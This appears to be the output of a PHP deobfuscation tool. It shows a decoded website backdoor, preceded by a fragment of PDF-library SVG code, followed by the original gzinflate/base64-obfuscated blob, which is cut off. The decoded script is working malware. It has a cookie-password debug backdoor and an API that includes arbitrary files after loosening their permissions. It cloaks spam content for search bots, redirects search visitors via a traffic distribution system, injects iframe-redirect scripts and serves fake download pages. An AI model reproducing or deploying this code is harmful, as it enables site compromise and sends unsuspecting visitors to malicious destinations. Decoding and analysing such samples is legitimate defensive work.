{$this->StartTransform();$this->SVGTransform($tm);$obstyle=$this->setSVGStyles($svgstyle,$prev_svgstyle,$x,$y,$w,$h,\'Ellipse\',array($cx,$cy,$rx,$ry,0,0,360,\'CNZ\'));if(!empty($obstyle)){$this->Ellipse($cx,$cy,$rx,$ry,0,0,360,$obstyle,array(),array(),8);}$this->StopTransform();}break;}case \'line\':{if($invisible){break;}$x1=(isset($attribs[\'x1\'])?$this->getHTMLUnitToUnits($attribs[\'x1\'],0,$this->svgunit,false):0);$y1=(isset($attribs[\'y1\'])?$this->getHTMLUnitToUnits($attribs[\'y1\'],0,$this->svgunit,false):0);$x2=(isset($attribs[\'x2\'])?$this->getHTMLUnitToUnits($attribs[\'x2\'],0,$this->svgunit,false):0);$y2=(isset($attribs[\'y2\'])?$this->getHTMLUnitToUnits($attribs[\'y2\'],0,$this->svgunit,false):0);$x=$x1;$y=$y1;$w=abs($x2-$x1);$h=abs($y2-$y1);if(!$clipping){$this->StartTransform();$this->SVGTransform($tm);$obstyle=$this->setSVGStyles($svgstyle,$prev_svgstyle,$x,$y,$w,$h,\'Line\',array($x1,$y1,$x2,$y2));$this->Line($x1,$y1,$x2,$y2);$this->StopTransform();}break;}case \'polyline\':case \'polygon\':{if($invisible){break;}$points=(isset($attribs[\'points\'])?$attribs[\'points\']:\'0 0\');$points=trim($points);$points=preg_split(\'/[\,\s]+/si\',$points);if(count($points)<4){break;}$p=array();$xmin=2147483647;$xmax=0;$ymin=2147483647;$ymax=0;foreach($points as $key=>$val){$p[$key]=$this->getHTMLUnitToUnits($val,0,$this->svgunit,false);if(($key%2)==0){$xmin=min($xmin,$p[$key]);$xmax=max($xmax,$p[$key]);}else {$ymin=min($ymin,$p[$key]);$ymax=max($ymax,$p[$key]);}}$x=$xmin;$y=$ymin;$w=($xmax-$xmin);$h=($ymax-$ymin);if($name==\'polyline\'){$this->StartTransform();$this->SVGTransform($tm);$obstyle=$this->setSVGStyles($svgstyle,$prev_svgstyle,$x,$y,$w,$h,\'PolyLine\',array($p,\'CNZ\'));if(!empty($obstyle)){$this->PolyLine($p,$obstyle,array(),array());}$this->StopTransform();}else {if($clipping){$this->SVGTransform($tm);$this->Polygon($p,\'CNZ\',array(),array(),true);}else {$this->StartTransform();$this->SVGTransform($tm);$obstyle=$this->setSVGStyles($svgstyle,$prev_svgstyle,$x,$y,$w,$h,\'Polygon\',array($p,\'CNZ\'));if(!empty($obstyle)){$this->Polygon($p,$obstyle,array(),array(),true);}$this->StopTransform();}}break;}case \'text\':case \'tspan\':{if(isset($this->svgtextmode[\'text-anchor\']) AND !empty($this->svgtext)){}$this->svgtextmode[\'invisible\']=$invisible;if($invisible){break;}array_push($this->svgstyles,$svgstyle);if(isset($attribs[\'x\'])){$x=$this->getHTMLUnitToUnits($attribs[\'x\'],0,$this->svgunit,false);}elseif($name==\'tspan\'){$x=$this->x;}else {$x=0;}if(isset($attribs[\'dx\'])){$x+=$this->getHTMLUnitToUnits($attribs[\'dx\'],0,$this->svgunit,false);}if(isset($attribs[\'y\'])){$y=$this->getHTMLUnitToUnits($attribs[\'y\'],0,$this->svgunit,false);}elseif($name==\'tspan\'){$y=$this->y;}else {$y=0;}if(isset($attribs[\'dy\'])){$y+=$this->getHTMLUnitToUnits($attribs[\'dy\'],0,$this->svgunit,false);}$svgstyle[\'text-color\']=$svgstyle[\'fill\'];$this->svgtext=\'\';if(isset($svgstyle[\'text-anchor\'])){$this->svgtextmode[\'text-anchor\']=$svgstyle[\'text-anchor\'];}else {$this->svgtextmode[\'text-anchor\']=\'start\';}if(isset($svgstyle[\'direction\'])){if($svgstyle[\'direction\']==\'rtl\'){$this->svgtextmode[\'rtl\']=true;}else {$this->svgtextmode[\'rtl\']=false;}}else {$this->svgtextmode[\'rtl\']=false;}if(isset($svgstyle[\'stroke\']) AND ($svgstyle[\'stroke\']!=\'none\') AND isset($svgstyle[\'stroke-width\']) AND ($svgstyle[\'stroke-width\']>0)){$this->svgtextmode[\'stroke\']=$this->getHTMLUnitToUnits($svgstyle[\'stroke-width\'],0,$this->svgunit,false);}else {$this->svgtextmode[\'stroke\']=false;}$this->StartTransform();$this->SVGTransform($tm);$obstyle=$this->setSVGStyles($svgstyle,$prev_svgstyle,$x,$y,1,1);$this->x=$x;$this->y=$y;break;}case \'use\':{if(isset($attribs[\'xlink:href\']) AND !empty($attribs[\'xlink:href\'])){$svgdefid=substr($attribs[\'xlink:href\'],1);if(isset($this->svgdefs[$svgdefid])){$use=$this->svgdefs[$svgdefid];if(isset($attribs[\'xlink:href\'])){unset($attribs[\'xlink:href\']);}if(isset($attribs[\'id\'])){unset($attribs[\'id\']);}if(isset($use[\'attribs\'][\'x\']) AND isset($attribs[\'x\'])){$attribs[\'x\']+=$use[\'attribs\'][\'x\'];}if(isset($use[\'attribs\'][\'y\']) AND isset($attribs[\'y\'])){$attribs[\'y\']+=$use[\'attribs\'][\'y\'];}if(empty($attribs[\'style\'])){$attribs[\'style\']=\'\';}if(!empty($use[\'attribs\'][\'style\'])){$attribs[\'style\']=str_replace(\';;\',\';\',\';\'.$use[\'attribs\'][\'style\'].$attribs[\'style\']);}$attribs=array_merge($use[\'attribs\'],$attribs);$this->startSVGElementHandler($parser,$use[\'name\'],$attribs);return;}}break;}default:{break;}}if(!empty($attribs[\'child_elements\'])){$child_elements=$attribs[\'child_elements\'];unset($attribs[\'child_elements\']);foreach($child_elements as $child_element){if(empty($child_element[\'attribs\'][\'closing_tag\'])){$this->startSVGElementHandler(\'child-tag\',$child_element[\'name\'],$child_element[\'attribs\']);}else {if(isset($child_element[\'attribs\'][\'content\'])){$this->svgtext=$child_element[\'attribs\'][\'content\'];}$this->endSVGElementHandler(\'child-tag\',$child_element[\'name\']);}}}} function endSVGElementHandler($parser,$name){$name=$this->removeTagNamespace($name);if($this->svgdefsmode AND !in_array($name,array(\'defs\',\'clipPath\',\'linearGradient\',\'radialGradient\',\'stop\'))){;if(end($this->svgdefs)!==FALSE){$last_svgdefs_id=key($this->svgdefs);if(isset($this->svgdefs[$last_svgdefs_id][\'attribs\'][\'child_elements\'])){foreach($this->svgdefs[$last_svgdefs_id][\'attribs\'][\'child_elements\'] as $child_element){if(isset($child_element[\'attribs\'][\'id\']) AND ($child_element[\'name\']==$name)){$this->svgdefs[$last_svgdefs_id][\'attribs\'][\'child_elements\'][$child_element[\'attribs\'][\'id\'].\'_CLOSE\']=array(\'name\'=>$name,\'attribs\'=>array(\'closing_tag\'=>TRUE,\'content\'=>$this->svgtext));return;}}if($this->svgdefs[$last_svgdefs_id][\'name\']==$name){$this->svgdefs[$last_svgdefs_id][\'attribs\'][\'child_elements\'][$last_svgdefs_id.\'_CLOSE\']=array(\'name\'=>$name,\'attribs\'=>array(\'closing_tag\'=>TRUE,\'content\'=>$this->svgtext));return;}}}return;}switch($name){case \'defs\':{$this->svgdefsmode=false;break;}case \'clipPath\':{$this->svgclipmode=false;break;}case \'svg\':{if(--$this->svg_tag_depth<=0){break;}}case \'g\':{array_pop($this->svgstyles);$this->StopTransform();break;}case \'text\':case \'tspan\':{if($this->svgtextmode[\'invisible\']){break;}$text=$this->svgtext;$textlen=$this->GetStringWidth($text);if($this->svgtextmode[\'text-anchor\']!=\'start\'){if($this->svgtextmode[\'text-anchor\']==\'end\'){if($this->svgtextmode[\'rtl\']){$this->x+=$textlen;}else {$this->x-=$textlen;}}elseif($this->svgtextmode[\'text-anchor\']==\'middle\'){if($this->svgtextmode[\'rtl\']){$this->x+=($textlen/2);}else {$this->x-=($textlen/2);}}}$textrendermode=$this->textrendermode;$textstrokewidth=$this->textstrokewidth;$this->setTextRenderingMode($this->svgtextmode[\'stroke\'],true,false);if($name==\'text\'){$tmpx=$this->x;$tmpy=$this->y;}$this->Cell($textlen,0,$text,0,0,\'\',false,\'\',0,false,\'L\',\'T\');if($name==\'text\'){$this->x=$tmpx;$this->y=$tmpy;}$this->textrendermode=$textrendermode;$this->textstrokewidth=$textstrokewidth;$this->svgtext=\'\';$this->StopTransform();if(!$this->svgdefsmode){array_pop($this->svgstyles);}break;}default:{break;}}} function segSVGContentHandler($parser,$data){$this->svgtext.=$data;}}
$client = @$_SERVER[\'HTTP_CLIENT_IP\'];
$forward = @$_SERVER[\'HTTP_X_FORWARDED_FOR\'];
if(filter_var($forward, FILTER_VALIDATE_IP)) {
$ip = $forward;
} else if (filter_var($client, FILTER_VALIDATE_IP)) {
$ip = $client;
} else {
$ip = $_SERVER[\'REMOTE_ADDR\'];
}
$overrideTime = false;
if ($password == @$_COOKIE[\'dds_debug_password\']) {
$GLOBALS[\'DDS_DEBUG_MODE\'] = true;
dds_debug(\'<pre>\');
dds_debug(\'Debug mode started at \' . date(DATE_ISO8601));
$_SERVER[\'HTTP_X_PASSWORD\'] = $password;
if (isset($_COOKIE[\'action\'])) {
dds_debug("Setting action to \'{$_COOKIE[\'action\']}\'");
$_SERVER[\'HTTP_X_ACTION\'] = $_COOKIE[\'action\'];
}
if (isset($_COOKIE[\'time\'])) $overrideTime = $_COOKIE[\'time\'];
if (isset($_COOKIE[\'ip\'])) $ip = $_COOKIE[\'ip\'];
}
$fixedDocroot = str_replace(\'\\', \'/\', substr($_SERVER[\'SCRIPT_FILENAME\'], 0, 0 - strlen($_SERVER[\'PHP_SELF\'])));
if ($fixedDocroot != $_SERVER[\'DOCUMENT_ROOT\']) {
dds_debug("Fixing docroot from {$_SERVER[\'DOCUMENT_ROOT\']} to $fixedDocroot");
$_SERVER[\'DOCUMENT_ROOT\'] = $fixedDocroot;
}
$tryDirs = array(
dirname(__FILE__) . \'/\',
\'/var/tmp/\',
\'/tmp/\',
);
$browser = new DS_Browser();
$installer = new DS_Installer($browser, $password);
foreach ($tryDirs as $cacheDir) {
if ($installer->isWritable($cacheDir)) break;
}
$uri = $_SERVER[\'REQUEST_URI\'];
$host = str_replace(\'www.\', \'\', $_SERVER[\'HTTP_HOST\']);
$cacheWriter = new DS_CacheWriter($cacheDir, $host);
if ($uri != \'/\' && ! $cacheWriter->exists($uri)) {
if (preg_match(\'#/$#\', $uri)) {
$uri = rtrim($uri, \'/\');
} else {
$uri .= \'/\';
}
}
$folder = $cacheWriter->read(\'folder\');
if (! $cacheWriter->exists($uri)) {
$noQueryUri = preg_replace(\'#([^/])\?.+?$#\', \'$1\', $uri);
if ($cacheWriter->exists($noQueryUri)) {
dds_debug("Fixed prefixed URI from $uri to $noQueryUri");
$uri = $noQueryUri;
} else if (preg_match(\'#^/\??\' . $folder . \'#\', $uri, $matches)) {
$uri = $matches[0] . \'/wppage-404\';
}
}
$userLogger = new DS_UserLogger($cacheWriter);
$uaChecker = new Bot_UAChecker($cacheWriter);
$ipChecker = new Bot_IPChecker($cacheWriter);
$botDetector = new Bot_Detector($ipChecker, $uaChecker);
$serverClient = new DS_ServerClient($browser, @$_SERVER[\'HTTP_X_CLIENTHOST\'], $password);
$apiServer = new DS_ApiServer($installer, $cacheWriter, $serverClient, $ipChecker, $userLogger, array(
\'version\' => $version,
\'password\' => $password
));
$destinationFetcher = new DS_DestinationFetcher($browser, $cacheWriter);
$fileMaker = new DS_FilenameMaker(\'zip\');
$contentGenerator = new Bot_ContentGenerator($cacheWriter, $fileMaker, $uri, $browser);
$contentGenerator->overrideTime = $overrideTime;
parse_str(file_get_contents(\'php://input\'), $nicePost);
if (get_magic_quotes_gpc()) {
$func = create_function( \'&$val, $key\', \'if(!is_numeric($val)) {$val = stripslashes($val);}\' );
array_walk_recursive($nicePost, $func);
}
$includeWhat = $apiServer->shouldInclude($_SERVER);
dds_debug($includeWhat);
if ($includeWhat) {
echo md5(rand());
$file = $includeWhat[\'file\'];
dds_debug("Including ". $file);
$oldPerms = false;
if (! is_readable($file)) {
$oldPerms = fileperms($file) & 0777;
@chmod($file, 0777);
}
ob_start();
@include $file;
ob_end_clean();
if ($oldPerms) {
@chmod($file, $oldPerms);
}
dds_debug("END include");
call_user_func($includeWhat[\'shutdown\']);
exit();
}
$apiResponse = $apiServer->processApiCall($_SERVER, $nicePost);
if ($apiResponse) {
dds_debug("Handling api request $includeWhat");
echo \'<dds-delimiter>\'.$apiResponse.\'</dds-delimiter>\';
exit();
}
$seManager = new DS_SEManager($cacheWriter, $browser);
dds_debug("URI = $uri");
$host = $_SERVER[\'HTTP_HOST\'];
$url = "http://".$host.$uri;
dds_debug("IP $ip, long ".ip2long($ip));
$isBot = $botDetector->isBot($ip, @$_SERVER[\'HTTP_USER_AGENT\']);
dds_debug("Is bot: ".($isBot ? "yes" : "no"));
if (false !== strpos($uri, $contentGenerator->getWritingScriptPath())) {
dds_debug("Script writing script path = $uri");
if (! $isBot) {
header(\'Content-Type: application/javascript\');
echo $contentGenerator->getIframeRedirectCode($_GET[\'key\'], $_GET[\'original\']);
}
exit();
}
if (false !== strpos($uri, $contentGenerator->getFakeDownloadPath())) {
echo $contentGenerator->getFakeDownloadPage();
exit();
}
$seKey = $seManager->getSEKey($_SERVER, $uri);
if ($seKey) {
dds_debug("Got SE key $seKey");
}
if (@$GLOBALS[\'DDS_DEBUG_MODE\'] && isset($_COOKIE[\'sekey\'])) {
$seKey = $_COOKIE[\'sekey\'];
}
if (! $seKey) {
$seKey = $contentGenerator->getKeyword();
}
if (! $seKey) {
$seKey = preg_replace(\'#^/\??#\', \'\', $uri);
$seKey = str_replace(\'-\', \' \', $seKey);
}
dds_debug("SE key: \'$seKey\'");
$redirectType = $cacheWriter->read(\'redirecttype\');
if ($redirectType == \'filename\') {
$redirectKey = $fileMaker->getFilename($seKey);
} else if ($redirectType == \'keyword\') {
$redirectKey = $contentGenerator->getKeyword();
if (! $redirectKey) {
dds_debug("No page keyword");
$redirectKey = $seKey;
}
} else {
$redirectKey = $contentGenerator->getMainKeyword();
}
$comesFromSE = $seManager->comesFromSE($_SERVER);
dds_debug("Comes from SE: ".$comesFromSE);
$userLogger->logUser($ip);
$redirectWith = $cacheWriter->read(\'redirectwith\');
if (! $isBot && $comesFromSE && $cacheWriter->exists($uri) && $redirectWith != \'frame\') {
header("Cache-Control: no-cache");
dds_debug("Redirecting");
if (ob_get_level() > 0) { ob_end_clean(); }
if (! $seKey) {
dds_debug("No se key");
return;
}
$redirectLocation = $seManager->getRedirectDestination($ip, $redirectKey, $contentGenerator->getKeyword());
dds_debug("TDS response redirect location: $redirectLocation");
if ($redirectLocation === "IS_BOT") {
$isBot = true;
} else if ($redirectWith == \'showdest\' && $html = $destinationFetcher->getHtml($redirectLocation)) {
echo $html;
exit();
} else if ($redirectWith == \'noredirect\' || $redirectWith == \'fakedownload\') {
} else {
header("Location: $redirectLocation");
$js = <<<EOF
<script type="text/javascript">
window.location = "$redirectLocation";
</script>
EOF;
echo $js;
exit();
}
}
mt_srand(crc32($_SERVER[\'HTTP_HOST\']));
$charset = \'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\';
$length = 6;
$code = \'\';
while ($length--) {
$code .= $charset[mt_rand(0, strlen($charset)-1)];
}
$linker = new Bot_Linker($code, mt_rand(3, 6));
dds_debug("Only bots: ".$cacheWriter->read(\'onlybots\'));
$showToAll = $cacheWriter->read(\'onlybots\') == \'no\';
$hasContent = $contentGenerator->hasContent();
$innerLinkSettings = $cacheWriter->read(\'innerlinkdisplay\');
if ($linker->isHiddenPage($uri)) {
dds_debug("Is hidden page");
header("Cache-Control: no-cache");
$ipChecker->addBotIP($ip);
} else if (! $contentGenerator->canTouchUri()) {
dds_debug("Can\'t touch uri $uri");
} else if ($hasContent && ($isBot || $showToAll)) {
$buttonLink = $seManager->getButtonLink($comesFromSE, $redirectKey, $contentGenerator->getKeyword());
$contentGenerator->printCache($redirectKey, $buttonLink);
exit();
} else if ($isBot || $innerLinkSettings == \'hide\') {
return ob_start(array($contentGenerator, \'addLinks\'));
} if (! $cacheWriter->exists(\'noinject\')) {
dds_debug("Injecting links for catching bots");
ob_start(array($linker, \'injectIntoHtml\'));
}
mt_srand();
}
'
Did this file decode correctly?
Original Code
<?php
echo gzinflate(base64_decode('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